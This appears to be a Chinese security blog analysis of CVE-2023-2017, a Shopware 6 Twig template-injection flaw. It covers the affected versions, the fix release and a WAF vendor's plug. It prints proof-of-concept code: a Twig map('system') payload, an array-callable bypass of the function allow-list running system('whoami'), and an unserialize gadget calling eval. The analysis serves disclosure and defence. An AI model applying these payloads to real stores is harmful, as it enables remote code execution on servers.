Shopware 6 服务器端模板注入 (CVE-2023-2017) 分析

Shopware的某些版本存在过滤器绕过风险,允许攻击者通过map等过滤器执行任意PHP函数,导致远程代码执行。漏洞源于对回调函数验证不严,攻击者可传入非字符串的可调用对象。文章提供了漏洞复现和修复方案,Shopware已在新版本中修复此问题。
摘要由CSDN通过智能技术生成

漏洞概述

Shopware是一个基于Symfony框架和Vue.js的开源商务平台。近期,其用于防止使用Twig过滤器执行任意PHP函数的Extension存在绕过风险,从而允许攻击者在特定情况下,实现远程代码执行。

受影响版本

受影响版本:<= v6.4.20.0,v6.5.0.0-rc1 <= v6.5.0.0-rc4

漏洞分析

在阅读本篇文章之前,需要具备一些前置知识:

  • map过滤器

在Twig 3.x中,map过滤器可以接受一个回调函数作为参数,该回调函数将被应用于数组中的每个元素。然而,当攻击者将一个恶意函数作为map过滤器的参数时,就可能会存在问题。例如,{{ ["whoami"]|map("system") }}。这个安全隐患的本质在于,Twig的map过滤器允许用户将任何可调用的函数作为参数传递,包括PHP内置函数和自定义函数,也就是说如果攻击者将一个恶意函数作为参数传递给map过滤器,也会被执行。

  • CVE-2023-22731

鉴于攻击者可以在没有Sandbox扩展的Twig环境下,利用过滤器,如map()、filter()、reduce()、sort()引用php函数,从而执行任意代码。官方尝试引入SecurityExtension.php来解决CVE-2023-22731,并确保可调用函数在允许执行的PHP函数列表中。可惜这个防御措施仍存在缺陷。

回到正题,漏洞产生的主要原因是开发者默认可调用类型为string,关键代码(src/Core/Framework/Adapter/Twig/SecurityExtension.php)如下:

这正是map过滤器的实现方式,同时也包含了一些安全措施,以防止恶意代码执行。具体来说,它先是检查传递给map过滤器的函数是否为一个字符串,再去判断该函数是否出现在允许使用的PHP函数列表中,如果没有找到,则抛出异常。

这个检查看似强硬严谨,可一旦攻击者传入的$function不是字符串,is_string函数将返回false,从而导致安全检测规则被绕过。

为了便于理解绕过逻辑,可以参考以下demo及两个测试用例:

demo-A

主要包括了补全上述过滤器实现的MyMap类:

class MyMap {

    private static $allowedFunctions = ['testA', 'testB'];

    public function map(iterable $array, $function): array {

        if (is_string($function) && !in_array($function, self::$allowedFunctions, true)) {

            throw new RuntimeException(sprintf('Function "%s" is not allowed', $function));

        }

        $result = [];

        foreach ($array as $key => $value) {

            $result[$key] = $function($value);

        }

        return $result;

    }

}

测试用例1:

class MyMapTest {

    public function testMap() {

        $myMap = new MyMap();

        // Test case 1

        try {

            $myMap->map([1, 2, 3], 'system');

            echo "Test case 1: Failed - Exception not thrown\n";

        } catch (RuntimeException $e) {

            echo "Test case 1: Blocked\n";

        }

    }

}

它试图使用map()方法将一个整数数组[1, 2, 3]映射到回调函数system上。然而,在map()方法中,有一个安全函数验证的步骤,它会检查回调函数是否在允许的函数列表中。由于system函数并不在其中,因此安全函数校验阶段就会抛出一个RuntimeException异常,也就是说这次恶意行为被检测到了。

 

测试用例2:

class MyClass {

    public static function myMethod($value) {

        return $value * $value;

    }

}

class MyMapTest {

    public function testMap() {

        // Test case 2

        try {

            $arrayCallback = ['MyClass', 'myMethod'];

            $myMap = new MyMap();

            $result = $myMap->map([1, 2, 3], $arrayCallback);

            // 检查MyClass::myMethod()是否被执行

            if ($result === [1, 4, 9]) {

                echo "Test case 2: Failed - Exception not thrown\n";

            }

        } catch (RuntimeException $e) {

            echo "Test case 2: Blocked\n";

        }

    }

}

MyClass类定义了一个myMethod静态方法作为MyMap::map()的回调函数,用于接受一个参数并返回其平方值,接着这个用例又创建了一个包含MyClass类名和方法名的数组$arrayCallback,然后实例化MyMap类,并调用map()方法,将一个包含[1, 2, 3]的可迭代数组和$arrayCallback作为参数传递,最后map()方法会将可迭代数组中的每个值作为参数传递给 $arrayCallback 中指定的方法,并将结果存储在一个数组中返回。如果回调函数被成功执行,则意味着map()方法的安全函数验证被绕过。

 

综上,传递一个数组作为可调用参数,即可绕过安全函数校验。

改进一下myMethod静态方法,即可实现代码执行。

class MyClass {

    public static function myMethod($value) {

        system($value);

    }

}

class MyMapTest {

    public function testMap() {

        // Test case 2

        try {

            $arrayCallback = ['MyClass', 'myMethod'];

            $myMap = new MyMap();

            $result = $myMap->map(['whoami'], $arrayCallback);

            echo "Test case 2: Failed - Exception not thrown\n";

        } catch (RuntimeException $e) {

            echo "Test case 2: Blocked\n";

        }

    }

}

 

当然,回调函数不止静态方法调用这一种,还可以是对象方法等:

class MyClass {

    public static function myMethod($value) {

        system($value);

    }

    public function objMethod($value) {

        $this->myMethod($value);

    }

}

class MyMapTest {

    public function testMap() {

        // Test case 2

        try {

//            $arrayCallback = ['MyClass', 'myMethod'];

            $myMap = new MyMap();

            $obj = new MyClass();

//            $result = $myMap->map(['whoami'], $arrayCallback);

            $result = $myMap->map(['whoami'], array($obj, "objMethod"));

            echo "Test case 2: Failed - Exception not thrown\n";

        } catch (RuntimeException $e) {

            echo "Test case 2: Blocked\n";

        }

    }

}

值得注意的是,reduce()过滤器、filter()过滤器和sort()过滤器与map()过滤器有着相同的代码模式,这也造成了更广的攻击面。

 

漏洞复现

回到Shopware代码库中不难发现,它的依赖关系里面有很多静态方法可以实现远程代码执行,比如src/Core/Framework/Adapter/Cache/CacheValueCompressor.php中的uncompress

它的作用是从一个压缩后的缓存值中解压缩出原始的缓存数据。其中,$value可以是一个TCachedContent对象或一个字符串类型的缓存值。如果$value不是一个字符串类型的值,那么这个方法会直接返回$value。如果$value是一个字符串类型的缓存值,那么这个方法会根据是否启用了压缩来进行相应的解压缩操作,如果未启用压缩,那么这个方法会直接使用unserialize函数将字符串反序列化为原始的缓存数据,如果启用了压缩,那么这个方法会先使用gzuncompress函数对字符串进行解压缩操作,然后再将解压缩后的字符串反序列化为原始的缓存数据,如果解压缩失败,那么这个方法会抛出一个RuntimeException异常

但这个方法对于$value的处理其实是存在问题的,因为它在使用unserialize函数将字符串反序列化为原始缓存数据之前并没有防御措施。众所周知,反序列化本身就是一个危险的操作,因为它允许攻击者在缓存值中嵌入一个恶意的序列化对象,从而导致代码执行。所以,攻击者完全可以构造一个恶意的序列化字符串传递给 unserialize 函数,实现漏洞利用。

这里可以简单编写个demo-B进行测试,核心代码如下

  • CacheValueCompressor类

class CacheValueCompressor

{

    private static $compress = true;

    public static function compress($value)

    {

        $serialized = serialize($value);

        return gzcompress($serialized);

    }

    public static function uncompress($value)

    {

        if (!\is_string($value)) {

            return $value;

        }

        if (!self::$compress) {

            return \unserialize($value);

        }

        $uncompressed = gzuncompress($value);

        if ($uncompressed === false) {

            throw new \RuntimeException(sprintf('Could not uncompress "%s"', $value));

        }

        $unserialized = unserialize($uncompressed);

        if ($unserialized === false) {

            throw new \RuntimeException('Failed to unserialize object');

        }

        return $unserialized;

    }

}

这个类包含两个静态方法compress()和uncompress()。compress()方法接受一个值将其序列化并压缩,然后返回压缩后的字符串。uncompress()方法接受一个字符串并尝试解压缩和反序列化它,然后返回反序列化的对象或原始值。如果解压缩或反序列化失败,则会引发RuntimeException异常。

  • Example类

class Example

{

    public $payload;

    public function __construct($payload)

    {

        $this->payload = $payload;

    }

}

这个类的存在是为了构造一个恶意的Example对象,并将其序列化后存储到缓存中。这样攻击者就可以在$payload属性中插入恶意的PHP代码,以便在后续的反序列化过程中实现代码执行。

  • 测试用例

$payload = "echo 'hello world';";

$evil = new Example($payload);

echo "Serialized evil payload: " . serialize($evil) . "\n";

// 将恶意的 Example 对象压缩并存储在缓存中

$compressed = CacheValueCompressor::compress($evil);

echo "Compressed evil payload: $compressed\n";

// 解压缩缓存值并触发反序列化操作

echo "Uncompressed evil payload:\n";

try {

    $data = CacheValueCompressor::uncompress($compressed);

    if ($data instanceof Example) {

        $output = shell_exec('php -r ' . escapeshellarg($data->payload));

        echo "Command output: " . $output . "\n";

    } else {

        echo "Failed to unserialize object.\n";

    }

} catch (\RuntimeException $e) {

    echo "Error: " . $e->getMessage() . "\n";

}

显而易见,这个demo-B成功验证了uncompress()存在的安全隐患:

再结合CVE-2023-2017的绕过逻辑,即可进行组合利用,我们在之前编写的demo-A进行略微修改,演示下攻击思路:

  • 新增静态函数uncompress()至MyClass类

class MyClass {

    public static function myMethod($value) {

        system($value);

    }

    public function objMethod($value) {

        $this->myMethod($value);

    }

    public static function uncompress($value)

    {

        if (!\is_string($value)) {

            return $value;

        }

        $uncompressed = gzuncompress($value);

        if ($uncompressed === false) {

            throw new \RuntimeException(sprintf('Could not uncompress "%s"', $value));

        }

        return unserialize($uncompressed);

    }

}

  • 新增Example类

class Example {

    public $payload;

    public function __construct($payload) {

        $this->payload = $payload;

    }

    public function __destruct() {

        eval($this->payload);

    }

}

  • 新增测试用例3

class MyMapTest {

    public function testMap()

    {

        // Test case 3

        try {

            $myMap = new MyMap();

            $payload = "echo 'hello world';";

            $evil = new Example($payload);

            $compressed = CacheValueCompressor::compress($evil);

            $result = $myMap->map([$compressed], array('MyClass', 'uncompress'));

            echo "Test case 3: Failed - Exception not thrown\n";

        } catch (RuntimeException $e) {

            echo "Test case 3: Blocked\n";

        }

    }

}

落实到Shopware中,远程攻击者只需具备权限创建或修改后台的Twig模板内容,再进行预览即可实现代码执行

 

修复方案

目前Shopware已发布v6.4.20.1以解决此问题,新版本获取链接如下:
https://github.com/shopware/platform/releases/tag/v6.4.20.1

产品支持

网宿云WAF已第一时间支持对该漏洞利用攻击的防护,并持续挖掘分析其他变种攻击方式和各类组件漏洞,第一时间上线防护规则,缩短防护“空窗期”。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值